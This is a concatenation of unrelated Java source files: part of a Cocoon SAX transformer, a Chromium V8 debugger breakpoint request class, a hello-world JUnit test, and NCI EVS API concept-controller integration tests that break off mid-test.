public void setup(SourceResolver resolver, Map objectModel, String src, Parameters params) throws ProcessingException, SAXException, IOException {
super.setup(resolver, objectModel, src, params);
this.ourPrefix = null;
this.namespaces.clear();
this.namespaces.add(new String[]{"xml", "http:
this.recordingSAX = false;
}
/**
* @see org.apache.avalon.excalibur.pool.Recyclable#recycle()
*/
public void recycle() {
this.ourPrefix = null;
this.namespaces.clear();
super.recycle();
}
/**
* @see org.xml.sax.ContentHandler#startPrefixMapping
* ourPrefix is private to AbstractSAXTransformer, so we have to duplicate it to use it here.
*/
public void startPrefixMapping(String prefix, String uri) throws SAXException {
if (prefix != null) {
this.namespaces.add(new String[] {prefix, uri});
}
if (this.namespaceURI.equals(uri)) {
this.ourPrefix = prefix;
}
if (!this.recordingSAX) {
// When recording SAX, we will produce our own prefix mapping events.
super.startPrefixMapping(prefix, uri);
}
}
/**
* Process the SAX event.
* @see org.xml.sax.ContentHandler#endPrefixMapping
* namespaces is private to AbstractSAXTransformer, so we have to duplicate it to use it here.
*/
public void endPrefixMapping(String prefix) throws SAXException {
if (prefix != null) {
// Find and remove the namespace prefix
boolean found = false;
for (int i = this.namespaces.size() - 1; i >= 0; i
final String[] prefixAndUri = (String[]) this.namespaces.get(i);
if (prefixAndUri[0].equals(prefix)) {
this.namespaces.remove(i);
found = true;
break;
}
}
if (!found) {
throw new SAXException("Namespace for prefix '" + prefix + "' not found.");
}
if (prefix.equals(this.ourPrefix)) {
// Reset our current prefix
this.ourPrefix = null;
// Now search if we have a different prefix for our namespace
for (int i = this.namespaces.size() - 1; i >= 0; i
final String[] prefixAndUri = (String[]) this.namespaces.get(i);
if (namespaceURI.equals(prefixAndUri[1])) {
this.ourPrefix = prefixAndUri[0];
break;
}
}
}
}
if (!this.recordingSAX) {
// When recording SAX, we will produce our own prefix mapping events.
super.endPrefixMapping(prefix);
}
}
/**
* Start recording of serialized xml.
* All events are converted to an xml string which can be retrieved by endSerializedXMLRecording.
* @param format The format for the serialized output. If <code>null</code> is specified, a very simple format is used.
*/
public void startSerializedXMLRecording(Properties format) throws SAXException {
if (getLogger().isDebugEnabled()) {
getLogger().debug("Start serialized XML recording. Format=" + format);
}
if (format != null) {
startSAXRecording();
} else {
addRecorder(new NamespacePrefixRepeatingSerializingRecorder(this));
}
this.stack.push(format);
}
/**
* Return the serialized xml string.
* @return A string containing the recorded xml information, formatted by
* the properties passed to the corresponding startSerializedXMLRecording().
* Namespace-prefix declarations are repeated for each element to allow fragments to be taken from the serialized content.
*/
public String endSerializedXMLRecording() throws SAXException, ProcessingException {
Properties format = (Properties) this.stack.pop();
String text = null;
if (format != null) {
XMLizable xml = endSAXRecording();
text = XMLUtils.serialize(xml, format);
} else {
text = ((NamespacePrefixRepeatingSerializingRecorder)removeRecorder()).toString();
}
if (getLogger().isDebugEnabled()) {
getLogger().debug("End serialized XML recording. XML=" + text);
}
return text;
}
/**
* Start recording of SAX events. All incoming events are recorded and not forwarded.
* The resulting XMLizable can be obtained by the matching {@link #endSAXRecording} call.
*/
public void startSAXRecording()
throws SAXException {
addRecorder(new NamespacePrefixRepeatingSaxBuffer(this));
this.recordingSAX = true;
}
/**
* Stop recording of SAX events.
* This method returns the resulting XMLizable.
*/
public XMLizable endSAXRecording()
throws SAXException {
this.recordingSAX = false;
return (XMLizable) removeRecorder();
}
/**
* Start recording of a text.
* No events forwarded, and all characters events are collected into a string.
*/
public void startTextRecording() throws SAXException {
if (getLogger().isDebugEnabled()) {
getLogger().debug("Start text recording");
}
addRecorder(new TextRecorder());
sendStartPrefixMapping();
}
/**
* Stop recording of text and return the recorded information.
* @return The String, NOT trimmed (as in the overridden implementation). I like my spaces, thank you.
*/
@Override
public String endTextRecording() throws SAXException {
sendEndPrefixMapping();
TextRecorder recorder = (TextRecorder) removeRecorder();
String text = recorder.getAllText();
if (getLogger().isDebugEnabled()) {
getLogger().debug("End text recording. Text=" + text);
}
return text;
}
/**
* Send SAX events to the next pipeline component.
* @param text The string containing the information.
*/
public void sendCommentEvent(String text)
throws SAXException {
lexicalHandler.comment(text.toCharArray(), 0, text.length());
}
/**
* Send SAX events to the next pipeline component.
* @param text The string containing the information.
*/
public void sendTextEvent(String text)
throws SAXException {
contentHandler.characters(text.toCharArray(), 0, text.length());
}
/**
* Send SAX events to the next pipeline component.
* @param localname The name of the event.
*/
public void sendStartElementEvent(String localname)
throws SAXException {
contentHandler.startElement("", localname, localname, EMPTY_ATTRIBUTES);
}
/**
* Send SAX events to the next pipeline component.
* @param localname The name of the event.
*/
public void sendStartElementEventNS(String localname)
throws SAXException {
String name = this.ourPrefix != null ? this.ourPrefix + ':' + localname : localname;
contentHandler.startElement(this.namespaceURI, localname, name, EMPTY_ATTRIBUTES);
}
/**
* Send SAX events to the next pipeline component.
* @param localname The name of the event.
* @param attr The Attributes of the element
*/
public void sendStartElementEvent(String localname, Attributes attr)
throws SAXException {
contentHandler.startElement("", localname, localname, attr);
}
/**
* Send SAX events to the next pipeline component.
* @param localname The name of the event.
* @param attr The Attributes of the element
*/
public void sendStartElementEventNS(String localname, Attributes attr)
throws SAXException {
String name = this.ourPrefix != null ? this.ourPrefix + ':' + localname : localname;
contentHandler.startElement(this.namespaceURI, localname, name, attr);
}
/**
* Send SAX events to the next pipeline component.
* The element has no namespace.
* @param localname The name of the event.
*/
public void sendEndElementEvent(String localname)
throws SAXException {
contentHandler.endElement("", localname, localname);
}
/**
* Send SAX events to the next pipeline component.
* @param localname The name of the event.
*/
public void sendEndElementEventNS(String localname)
throws SAXException {
String name = this.ourPrefix != null ? this.ourPrefix + ':' + localname : localname;
contentHandler.endElement(this.namespaceURI, localname, name);
}
/**
* Send start prefix mapping events to the current content handler.
* @param prefixes The prefixes for which to send mappings.
* @throws SAXException
*/
protected void sendAllStartPrefixMapping(List<String> prefixes) throws SAXException {
Map<String, String> prefixAndUris = uniqueNamespacePrefixes();
for (String prefix : prefixes) {
String uri = prefixAndUris.get(prefix);
contentHandler.startPrefixMapping(prefix, uri);
}
// Remember the prefixes for sendAllEndPrefixMapping.
this.prefixStack.push(prefixes);
}
/**
* Send all end prefix mapping events to the current content handler.
* @throws SAXException
*/
protected void sendAllEndPrefixMapping() throws SAXException {
List<String> prefixes = this.prefixStack.pop();
for (String prefix : prefixes) {
contentHandler.endPrefixMapping(prefix);
}
}
/**
* A map of namespaces (prefix => URI) currently in use.
* @return
*/
private Map<String, String> uniqueNamespacePrefixes() {
Map<String, String> prefixAndUris = new HashMap<String, String>();
// Go through namespaces in order, so newer declarations for a prefix overwrite older ones.
final int l = this.namespaces.size();
for (int i = 0; i < l; i++) {
String[] prefixAndUri = (String[]) this.namespaces.get(i);
prefixAndUris.put(prefixAndUri[0], prefixAndUri[1]);
}
return prefixAndUris;
}
/**
* Make a list of unique prefixes used by a startElement. If the tag has no prefix, guess that no attributes have prefixes.
* @param namespaceURI
* @param qName
* @param atts
* @return
*/
private static List<String> getUsedPrefixes(String namespaceURI, String qName, Attributes atts) {
int nrPrefixes = namespaceURI.length() > 0 ? 1 : 0;
for (int i = 0; i < atts.getLength(); ++i) {
String name = atts.getQName(i);
if (name != null && name.contains(":")) ++nrPrefixes;
}
List<String> prefixes = new ArrayList<String>(nrPrefixes);
if (namespaceURI.length() > 0) prefixes.add(qName.contains(":") ? qName.substring(0, qName.indexOf(':')) : "");
for (int i = 0; i < atts.getLength(); ++i) {
String name = atts.getQName(i);
if (name != null && name.contains(":")) {
String prefix = name.substring(0, name.indexOf(':'));
if (!prefixes.contains(prefix)) prefixes.add(prefix);
}
}
return prefixes;
}
/**
* This SAX buffer repeats namespace prefix mappings for all namespace prefixes that are used by an element.
*/
public class NamespacePrefixRepeatingSaxBuffer extends SaxBuffer {
private static final long serialVersionUID = 1L;
private AbstractSAXPipelineTransformer transformer;
public NamespacePrefixRepeatingSaxBuffer(AbstractSAXPipelineTransformer transformer) {
this.transformer = transformer;
}
public void startElement(String namespaceURI, String localName, String qName, Attributes atts) throws SAXException {
List<String> prefixes = getUsedPrefixes(namespaceURI, qName, atts);
transformer.sendAllStartPrefixMapping(prefixes);
saxbits.add(new StartElement(namespaceURI, localName, qName, atts));
}
public void endElement(String namespaceURI, String localName, String qName) throws SAXException {
String nsPrefix = (qName.contains(":") ? qName.substring(0, qName.indexOf(':')) : "");
saxbits.add(new EndElement(namespaceURI, localName, qName));
transformer.sendAllEndPrefixMapping();
}
}
/**
* A recorder that serializes the incoming XML, repeating namespace prefix mappings for all namespace prefixes that are used by an element.
*/
public class NamespacePrefixRepeatingSerializingRecorder implements XMLConsumer {
private AbstractSAXPipelineTransformer transformer;
private StringBuilder text;
public NamespacePrefixRepeatingSerializingRecorder(AbstractSAXPipelineTransformer transformer) {
this.transformer = transformer;
text = new StringBuilder();
}
public String toString() {
return text.toString();
}
// ContentHandler Interface
public void skippedEntity(String name) throws SAXException {
}
public void setDocumentLocator(Locator locator) {
}
public void ignorableWhitespace(char ch[], int start, int length) throws SAXException {
text.append(String.copyValueOf(ch, start, length));
}
public void processingInstruction(String target, String data) throws SAXException {
text.append("<?").append(target).append(" ").append(data).append("?>");
}
public void startDocument() throws SAXException {
}
public void endDocument() throws SAXException {
}
public void startElement(String namespaceURI, String localName, String qName, Attributes atts) throws SAXException {
text.append('<').append(qName);
List<String> prefixes = getUsedPrefixes(namespaceURI, qName, atts);
Map<String, String> prefixAndUris = uniqueNamespacePrefixes();
for (String prefix : prefixes) {
String uri = prefixAndUris.get(prefix);
text.append(" xmlns");
if (!(prefix.equals(""))) {
text.append(":").append(prefix);
}
text.append("=\"").append(StringEscapeUtils.escapeXml(uri)).append('"');
}
for (int i = 0; i < atts.getLength(); ++i) {
text.append(' ').append(atts.getQName(i)).append("=\"").append(StringEscapeUtils.escapeXml(atts.getValue(i))).append('"');
}
text.append('>');
}
public void endElement(String namespaceURI, String localName, String qName) throws SAXException {
text.append("</").append(qName).append('>');
}
public void characters(char ch[], int start, int length) throws SAXException {
text.append(String.copyValueOf(ch, start, length));
}
public void startPrefixMapping(String prefix, String uri) throws SAXException {
}
public void endPrefixMapping(String prefix) throws SAXException {
}
// LexicalHandler Interface
public void startCDATA() throws SAXException {
}
public void endCDATA() throws SAXException {
}
public void comment(char ch[], int start, int length) throws SAXException {
text.append("<!--").append(String.copyValueOf(ch, start, length)).append("-->");
}
public void startEntity(String name) throws SAXException {
}
public void endEntity(String name) throws SAXException {
}
public void startDTD(String name, String publicId, String systemId) throws SAXException {
}
public void endDTD() throws SAXException {
}
}
}
|
package org.chromium.sdk.internal.tools.v8.request;
import org.chromium.sdk.Breakpoint;
import org.chromium.sdk.Breakpoint.Target;
import org.chromium.sdk.internal.tools.v8.BreakpointImpl;
import org.chromium.sdk.internal.tools.v8.DebuggerCommand;
/**
* Represents a "setbreakpoint" V8 request message.
*/
public class SetBreakpointMessage extends ContextlessDebuggerMessage {
/**
* @param type ("function", "handle", or "script")
* @param target function expression, script identification, or handle decimal number
* @param line in the script or function
* @param column of the target start within the line
* @param enabled whether the breakpoint is enabled initially. Nullable, default is true
* @param condition nullable string with breakpoint condition
* @param ignoreCount nullable number specifying the amount of break point hits to ignore.
* Default is 0
*/
public SetBreakpointMessage(Breakpoint.Target target,
Integer line, Integer column, Boolean enabled, String condition,
Integer ignoreCount) {
super(DebuggerCommand.SETBREAKPOINT.value);
putArgument("type", target.accept(GET_TYPE_VISITOR));
putArgument("target", target.accept(GET_TARGET_VISITOR));
putArgument("line", line);
putArgument("column", column);
putArgument("enabled", enabled);
putArgument("condition", condition);
putArgument("ignoreCount", ignoreCount);
}
private static final BreakpointImpl.TargetExtendedVisitor<String> GET_TYPE_VISITOR =
new BreakpointImpl.TargetExtendedVisitor<String>() {
@Override public String visitFunction(String expression) {
return "function";
}
@Override public String visitScriptName(String scriptName) {
return "script";
}
@Override public String visitScriptId(long scriptId) {
return "scriptId";
}
@Override public String visitRegExp(String regExp) {
return "scriptRegExp";
}
@Override public String visitUnknown(Target target) {
throw new IllegalArgumentException();
}
};
private static final BreakpointImpl.TargetExtendedVisitor<Object> GET_TARGET_VISITOR =
new BreakpointImpl.TargetExtendedVisitor<Object>() {
@Override public Object visitFunction(String expression) {
return expression;
}
@Override public Object visitScriptName(String scriptName) {
return scriptName;
}
@Override public Object visitScriptId(long scriptId) {
return Long.valueOf(scriptId);
}
@Override public Object visitRegExp(String regExp) {
return regExp;
}
@Override public Object visitUnknown(Target target) {
throw new IllegalArgumentException();
}
};
}
|
package com.example.javamavenjunithelloworld;
import org.junit.Rule;
import org.junit.Test;
import org.junit.contrib.java.lang.system.StandardOutputStreamLog;
import static org.hamcrest.CoreMatchers.*;
import static org.junit.Assert.*;
/**
* Integration test for the HelloApp program.
* <p/>
* An integration test verifies the workings of a complete program, a module, or a set of dependant classes.
* This integration test uses system-rules, an extension for JUnit that lets you test System.out and System.exit()
*/
public class HelloWithTestsIT {
@Rule
public final StandardOutputStreamLog out = new StandardOutputStreamLog();
@Test
public void doesItSayHelloTest() {
String[] args = {"1"};
HelloApp.main(args);
assertThat(out.getLog(), is(equalTo(Hello.HELLO + "\r\n")));
}
@Test
public void doesItSayHelloTest3() {
String[] args = {"3"};
HelloApp.main(args);
String thrice = Hello.HELLO + "\r\n" + Hello.HELLO + "\r\n" + Hello.HELLO + "\r\n";
assertThat(out.getLog(), is(equalTo(thrice)));
}
}
|
package gov.nih.nci.evs.api.controller;
import static org.assertj.core.api.Assertions.assertThat;
import static org.springframework.test.web.servlet.request.MockMvcRequestBuilders.get;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status;
import java.util.List;
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.boot.test.autoconfigure.web.servlet.AutoConfigureMockMvc;
import org.springframework.boot.test.context.SpringBootTest;
import org.springframework.boot.test.context.SpringBootTest.WebEnvironment;
import org.springframework.boot.test.json.JacksonTester;
import org.springframework.test.context.junit4.SpringRunner;
import org.springframework.test.web.servlet.MockMvc;
import org.springframework.test.web.servlet.MvcResult;
import org.springframework.util.CollectionUtils;
import com.fasterxml.jackson.core.type.TypeReference;
import com.fasterxml.jackson.databind.ObjectMapper;
import gov.nih.nci.evs.api.model.Association;
import gov.nih.nci.evs.api.model.Concept;
import gov.nih.nci.evs.api.model.DisjointWith;
import gov.nih.nci.evs.api.model.Map;
import gov.nih.nci.evs.api.model.Role;
import gov.nih.nci.evs.api.model.evs.HierarchyNode;
import gov.nih.nci.evs.api.properties.TestProperties;
/**
* Integration tests for MetadataController.
*/
@RunWith(SpringRunner.class)
@SpringBootTest(webEnvironment = WebEnvironment.RANDOM_PORT)
@AutoConfigureMockMvc
public class ConceptControllerTests {
/** The logger. */
private static final Logger log = LoggerFactory.getLogger(ConceptControllerTests.class);
/** The mvc. */
@Autowired
private MockMvc mvc;
/** The test properties. */
@Autowired
TestProperties testProperties;
/** The object mapper. */
private ObjectMapper objectMapper;
/** The base url. */
private String baseUrl = "";
/**
* Sets the up.
*/
@Before
public void setUp() {
objectMapper = new ObjectMapper();
JacksonTester.initFields(this, objectMapper);
baseUrl = "/api/v1/concept";
}
/**
* Test get concept.
*
* @throws Exception the exception
*/
@Test
public void testGetConcept() throws Exception {
String url = null;
MvcResult result = null;
String content = null;
Concept concept = null;
// Test with "by code"
url = baseUrl + "/ncit/C3224";
log.info("Testing url - " + url);
result = mvc.perform(get(url)).andExpect(status().isOk()).andReturn();
content = result.getResponse().getContentAsString();
log.info(" content = " + content);
concept = new ObjectMapper().readValue(content, Concept.class);
assertThat(concept).isNotNull();
assertThat(concept.getCode()).isEqualTo("C3224");
assertThat(concept.getName()).isEqualTo("Melanoma");
assertThat(concept.getTerminology()).isEqualTo("ncit");
}
/**
* Test bad get concept.
*
* @throws Exception the exception
*/
@Test
public void testBadGetConcept() throws Exception {
String url = null;
// Bad terminology
url = baseUrl + "/ncitXXX/C3224";
log.info("Testing url - " + url);
mvc.perform(get(url)).andExpect(status().isNotFound()).andReturn();
// content is blank because of MockMvc
// Bad lookup
url = baseUrl + "/ncit/NOTACODE";
log.info("Testing url - " + url);
mvc.perform(get(url)).andExpect(status().isNotFound()).andReturn();
// content is blank because of MockMvc
// Bad lookup - associations
url = baseUrl + "/ncit/NOTACODE/associations";
log.info("Testing url - " + url);
mvc.perform(get(url)).andExpect(status().isNotFound()).andReturn();
// content is blank because of MockMvc
// Bad lookup - children
url = baseUrl + "/ncit/NOTACODE/children";
log.info("Testing url - " + url);
mvc.perform(get(url)).andExpect(status().isNotFound()).andReturn();
// content is blank because of MockMvc
// Bad lookup - descendants
url = baseUrl + "/ncit/NOTACODE/descendants";
log.info("Testing url - " + url);
mvc.perform(get(url)).andExpect(status().isNotFound()).andReturn();
// content is blank because of MockMvc
// Bad lookup - disjointWith
url = baseUrl + "/ncit/NOTACODE/disjointWith";
log.info("Testing url - " + url);
mvc.perform(get(url)).andExpect(status().isNotFound()).andReturn();
// content is blank because of MockMvc
// Bad lookup - inverseAssociations
url = baseUrl + "/ncit/NOTACODE/inverseAssociations";
log.info("Testing url - " + url);
mvc.perform(get(url)).andExpect(status().isNotFound()).andReturn();
// content is blank because of MockMvc
// Bad lookup - inverseRoles
url = baseUrl + "/ncit/NOTACODE/inverseRoles";
log.info("Testing url - " + url);
mvc.perform(get(url)).andExpect(status().isNotFound()).andReturn();
// content is blank because of MockMvc
// Bad lookup - maps
url = baseUrl + "/ncit/NOTACODE/maps";
log.info("Testing url - " + url);
mvc.perform(get(url)).andExpect(status().isNotFound()).andReturn();
// content is blank because of MockMvc
// Bad lookup - parents
url = baseUrl + "/ncit/NOTACODE/parents";
log.info("Testing url - " + url);
mvc.perform(get(url)).andExpect(status().isNotFound()).andReturn();
// content is blank because of MockMvc
// Bad lookup - roles
url = baseUrl + "/ncit/NOTACODE/roles";
log.info("Testing url - " + url);
mvc.perform(get(url)).andExpect(status().isNotFound()).andReturn();
// content is blank because of MockMvc
}
/**
* Test get concepts with list.
*
* @throws Exception the exception
*/
@Test
public void testGetConceptsWithList() throws Exception {
// NOTE, this includes a middle concept code that is bougs
final String url = baseUrl + "/ncit?list=C3224,XYZ,C131506&include=summary";
log.info("Testing url - " + url);
final MvcResult result = mvc.perform(get(url)).andExpect(status().isOk()).andReturn();
final String content = result.getResponse().getContentAsString();
log.info(" content = " + content);
final List<Concept> list =
new ObjectMapper().readValue(content, new TypeReference<List<Concept>>() {
});
assertThat(list).isNotEmpty();
assertThat(list.size()).isEqualTo(2);
assertThat(list.get(0).getTerminology()).isEqualTo("ncit");
assertThat(list.get(0).getSynonyms()).isNotEmpty();
assertThat(list.get(0).getDefinitions()).isNotEmpty();
}
/**
* Test get concept associations.
*
* @throws Exception the exception
*/
@Test
public void testGetConceptAssociations() throws Exception {
String url = null;
MvcResult result = null;
String content = null;
List<Association> list = null;
// NOTE, this includes a middle concept code that is bougs
url = baseUrl + "/ncit/C3224/associations";
log.info("Testing url - " + url);
result = mvc.perform(get(url)).andExpect(status().isOk()).andReturn();
content = result.getResponse().getContentAsString();
log.info(" content = " + content);
list = new ObjectMapper().readValue(content, new TypeReference<List<Association>>() {
});
assertThat(list).isNotEmpty();
assertThat(list.size()).isGreaterThan(5);
// Test case without associations
url = baseUrl + "/ncit/C2291/associations";
log.info("Testing url - " + url);
result = mvc.perform(get(url)).andExpect(status().isOk()).andReturn();
content = result.getResponse().getContentAsString();
log.info(" content = " + content);
list = new ObjectMapper().readValue(content, new TypeReference<List<Association>>() {
});
assertThat(list).isEmpty();
}
/**
* Test get concept inverse associations.
*
* @throws Exception the exception
*/
@Test
public void testGetConceptInverseAssociations() throws Exception {
String url = null;
MvcResult result = null;
String content = null;
List<Association> list = null;
// NOTE, this includes a middle concept code that is bougs
url = baseUrl + "/ncit/C3224/inverseAssociations";
log.info("Testing url - " + url);
result = mvc.perform(get(url)).andExpect(status().isOk()).andReturn();
content = result.getResponse().getContentAsString();
log.info(" content = " + content);
list = new ObjectMapper().readValue(content, new TypeReference<List<Association>>() {
});
log.info(" list = " + list.size());
assertThat(list).isNotEmpty();
// Test case without inverse associations
url = baseUrl + "/ncit/C2291/inverseAssociations";
log.info("Testing url - " + url);
result = mvc.perform(get(url)).andExpect(status().isOk()).andReturn();
content = result.getResponse().getContentAsString();
log.info(" content = " + content);
list = new ObjectMapper().readValue(content, new TypeReference<List<Association>>() {
});
assertThat(list).isEmpty();
}
/**
* Test get concept roles.
*
* @throws Exception the exception
*/
@Test
public void testGetConceptRoles() throws Exception {
String url = null;
MvcResult result = null;
String content = null;
List<Role> list = null;
// NOTE, this includes a middle concept code that is bougs
url = baseUrl + "/ncit/C3224/roles";
log.info("Testing url - " + url);
result = mvc.perform(get(url)).andExpect(status().isOk()).andReturn();
content = result.getResponse().getContentAsString();
log.info(" content = " + content);
list = new ObjectMapper().readValue(content, new TypeReference<List<Role>>() {
});
assertThat(list).isNotEmpty();
// Test case without roles
url = baseUrl + "/ncit/C2291/roles";
log.info("Testing url - " + url);
result = mvc.perform(get(url)).andExpect(status().isOk()).andReturn();
content = result.getResponse().getContentAsString();
log.info(" content = " + content);
list = new ObjectMapper().readValue(content, new TypeReference<List<Role>>() {
});
assertThat(list).isEmpty();
}
/**
* Test get concept inverse roles.
*
* @throws Exception the exception
*/
@Test
public void testGetConceptInverseRoles() throws Exception {
String url = null;
MvcResult result = null;
String content = null;
List<Role> list = null;
// NOTE, this includes a middle concept code that is bougs
url = baseUrl + "/ncit/C3224/inverseRoles";
log.info("Testing url - " + url);
result = mvc.perform(get(url)).andExpect(status().isOk()).andReturn();
content = result.getResponse().getContentAsString();
log.info(" content = " + content);
list = new ObjectMapper().readValue(content, new TypeReference<List<Role>>() {
});
log.info(" list = " + list.size());
assertThat(list).isNotEmpty();
// Test case without inverse roles
url = baseUrl + "/ncit/C2291/inverseRoles";
log.info("Testing url - " + url);
result = mvc.perform(get(url)).andExpect(status().isOk()).andReturn();
content = result.getResponse().getContentAsString();
log.info(" content = " + content);
list = new ObjectMapper().readValue(content, new TypeReference<List<Role>>() {
});
assertThat(list).isEmpty();
}
/**
* Test get concept parents.
*
* @throws Exception the exception
*/
@Test
public void testGetConceptParents() throws Exception {
String url = null;
MvcResult result = null;
String content = null;
List<Concept> list = null;
// NOTE, this includes a middle concept code that is bougs
url = baseUrl + "/ncit/C3224/parents";
log.info("Testing url - " + url);
result = mvc.perform(get(url)).andExpect(status().isOk()).andReturn();
content = result.getResponse().getContentAsString();
log.info(" content = " + content);
list = new ObjectMapper().readValue(content, new TypeReference<List<Concept>>() {
});
log.info(" list = " + list.size());
assertThat(list).isNotEmpty();
// Test case without parents
url = baseUrl + "/ncit/C12913/parents";
log.info("Testing url - " + url);
result = mvc.perform(get(url)).andExpect(status().isOk()).andReturn();
content = result.getResponse().getContentAsString();
log.info(" content = " + content);
list = new ObjectMapper().readValue(content, new TypeReference<List<Concept>>() {
});
assertThat(list).isEmpty();
}
/**
* Test get concept children.
*
* @throws Exception the exception
*/
@Test
public void testGetConceptChildren() throws Exception {
String url = null;
MvcResult result = null;
String content = null;
List<Concept> list = null;
// NOTE, this includes a middle concept code that is bougs
url = baseUrl + "/ncit/C3224/children";
log.info("Testing url - " + url);
result = mvc.perform(get(url)).andExpect(status().isOk()).andReturn();
content = result.getResponse().getContentAsString();
log.info(" content = " + content);
list = new ObjectMapper().readValue(content, new TypeReference<List<Concept>>() {
});
log.info(" list = " + list.size());
assertThat(list).isNotEmpty();
assertThat(list.size()).isGreaterThan(5);
// Test case without children
url = baseUrl + "/ncit/C2291/children";
log.info("Testing url - " + url);
result = mvc.perform(get(url)).andExpect(status().isOk()).andReturn();
content = result.getResponse().getContentAsString();
log.info(" content = " + content);
list = new ObjectMapper().readValue(content, new TypeReference<List<Concept>>() {
});
assertThat(list).isEmpty();
}
/**
* Test get concept descendants.
*
* @throws Exception the exception
*/
@Test
public void testGetConceptDescendants() throws Exception {
String url = null;
MvcResult result = null;
String content = null;
List<Concept> list = null;
// NOTE, this includes a middle concept code that is bougs
url = baseUrl + "/ncit/C7058/descendants";
log.info("Testing url - " + url);
result = mvc.perform(get(url)).andExpect(status().isOk()).andReturn();
content = result.getResponse().getContentAsString();
log.info(" content = " + content);
list = new ObjectMapper().readValue(content, new TypeReference<List<Concept>>() {
});
log.info(" list = " + list.size());
assertThat(list).isNotEmpty();
assertThat(list.size()).isGreaterThan(5);
// nothing should have children
assertThat(list.stream().filter(c -> c.getChildren().size() > 0).count()).isEqualTo(0);
// nothing should be a leaf node
assertThat(list.stream().filter(c -> c.getLeaf() != null && c.getLeaf()).count()).isEqualTo(0);
// Test maxLevel
url = baseUrl + "/ncit/C7058/descendants?maxLevel=2";
log.info("Testing url - " + url);
result = mvc.perform(get(url)).andExpect(status().isOk()).andReturn();
content = result.getResponse().getContentAsString();
log.info(" content = " + content);
list = new ObjectMapper().readValue(content, new TypeReference<List<Concept>>() {
});
log.info(" list = " + list.size());
assertThat(list).isNotEmpty();
assertThat(list.size()).isGreaterThan(5);
// something should have children
assertThat(list.stream().filter(c -> c.getChildren().size() > 0).count()).isGreaterThan(0);
// something should have grand children
assertThat(list.stream()
.filter(c -> c.getChildren().size() > 0
&& c.getChildren().stream().filter(c2 -> c2.getChildren().size() > 0).count() > 0)
.count()).isGreaterThan(0);
// grand children should NOT have children
assertThat(list.stream()
.filter(c -> c.getChildren().size() > 0 && c.getChildren().stream()
.filter(c2 -> c2.getChildren().size() > 0
&& c2.getChildren().stream().filter(c3 -> c3.getChildren().size() > 0).count() > 0)
.count() > 0)
.count()).isEqualTo(0);
// Some grand children should be leaf nodes
assertThat(list.stream()
.filter(c -> c.getChildren().size() > 0 && c.getChildren().stream()
.filter(c2 -> c2.getChildren().size() > 0 && c2.getChildren().stream()
.filter(c3 -> c3.getLeaf() != null && c3.getLeaf()).count() > 0)
.count() > 0)
.count()).isGreaterThan(0);
// Test case without descendants
url = baseUrl + "/ncit/C2291/descendants";
log.info("Testing url - " + url);
result = mvc.perform(get(url)).andExpect(status().isOk()).andReturn();
content = result.getResponse().getContentAsString();
log.info(" content = " + content);
list = new ObjectMapper().readValue(content, new TypeReference<List<Concept>>() {
});
assertThat(list).isEmpty();
}
/**
* Test get concept maps.
*
* @throws Exception the exception
*/
@Test
public void testGetConceptMaps() throws Exception {
String url = null;
MvcResult result = null;
String content = null;
List<Map> list = null;
// NOTE, this includes a middle concept code that is bougs
url = baseUrl + "/ncit/C3224/maps";
log.info("Testing url - " + url);
result = mvc.perform(get(url)).andExpect(status().isOk()).andReturn();
content = result.getResponse().getContentAsString();
log.info(" content = " + content);
list = new ObjectMapper().readValue(content, new TypeReference<List<Map>>() {
});
log.info(" list = " + list.size());
assertThat(list).isNotEmpty();
// Test case without maps
url = baseUrl + "/ncit/C2291/maps";
log.info("Testing url - " + url);
result = mvc.perform(get(url)).andExpect(status().isOk()).andReturn();
content = result.getResponse().getContentAsString();
log.info(" content = " + content);
list = new ObjectMapper().readValue(content, new TypeReference<List<Map>>() {
});
assertThat(list).isEmpty();
}
/**
* Test get concept disjoint with.
*
* @throws Exception the exception
*/
@Test
public void testGetConceptDisjointWith() throws Exception {
String url = null;
MvcResult result = null;
String content = null;
List<DisjointWith> list = null;
// NOTE, this includes a middle concept code that is bougs
url = baseUrl + "/ncit/C3910/disjointWith";
log.info("Testing url - " + url);
result = mvc.perform(get(url)).andExpect(status().isOk()).andReturn();
content = result.getResponse().getContentAsString();
log.info(" content = " + content);
list = new ObjectMapper().readValue(content, new TypeReference<List<DisjointWith>>() {
});
log.info(" list = " + list.size());
assertThat(list).isNotEmpty();
assertThat(list.stream().filter(d -> d.getRelatedCode().equals("C7057")).count())
.isGreaterThan(0);
// Test case without disjointWith
url = baseUrl + "/ncit/C2291/disjointWith";
log.info("Testing url - " + url);
result = mvc.perform(get(url)).andExpect(status().isOk()).andReturn();
content = result.getResponse().getContentAsString();
log.info(" content = " + content);
list = new ObjectMapper().readValue(content, new TypeReference<List<DisjointWith>>() {
});
assertThat(list).isEmpty();
}
/**
* Test get roots.
*
* @throws Exception the exception
*/
@Test
public void testGetRoots() throws Exception {
// NOTE, this includes a middle concept code that is bougs
String url = null;
MvcResult result = null;
String content = null;
List<Concept> list = null;
url = baseUrl + "/ncit/roots";
log.info("Testing url - " + url);
result = mvc.perform(get(url)).andExpect(status().isOk()).andReturn();
content = result.getResponse().getContentAsString();
log.info(" content = " + content);
list = new ObjectMapper().readValue(content, new TypeReference<List<Concept>>() {
});
log.info(" list = " + list.size());
assertThat(list).isNotEmpty();
assertThat(list.get(0).getSynonyms()).isEmpty();
url = baseUrl + "/ncit/roots?include=summary";
log.info("Testing url - " + url);
result = mvc.perform(get(url)).andExpect(status().isOk()).andReturn();
content = result.getResponse().getContentAsString();
log.info(" content = " + content);
list = new ObjectMapper().readValue(content, new TypeReference<List<Concept>>() {
});
log.info(" list = " + list.size());
assertThat(list).isNotEmpty();
assertThat(list.get(0).getSynonyms()).isNotEmpty();
}
/**
* Test get subtree.
*
* @throws Exception the exception
*/
@Test
public void testGetSubtree() throws Exception {
String url = null;
MvcResult result = null;
String content = null;
List<HierarchyNode> list = null;
// NOTE, this includes a middle concept code that is bougs
url = baseUrl + "/ncit/C7058/subtree";
log.info("Testing url - " + url);
result = mvc.perform(get(url)).andExpect(status().isOk()).andReturn();
content = result.getResponse().getContentAsString();
log.info(" content = " + content);
list = new ObjectMapper().readValue(content, new TypeReference<List<HierarchyNode>>() {
});
log.info(" list = " + list.size());
assertThat(list).isNotEmpty();
assertThat(list.size()).isGreaterThan(5);
// something should have children
assertThat(list.stream().filter(c -> c.getChildren().size() > 0).count()).isGreaterThan(0);
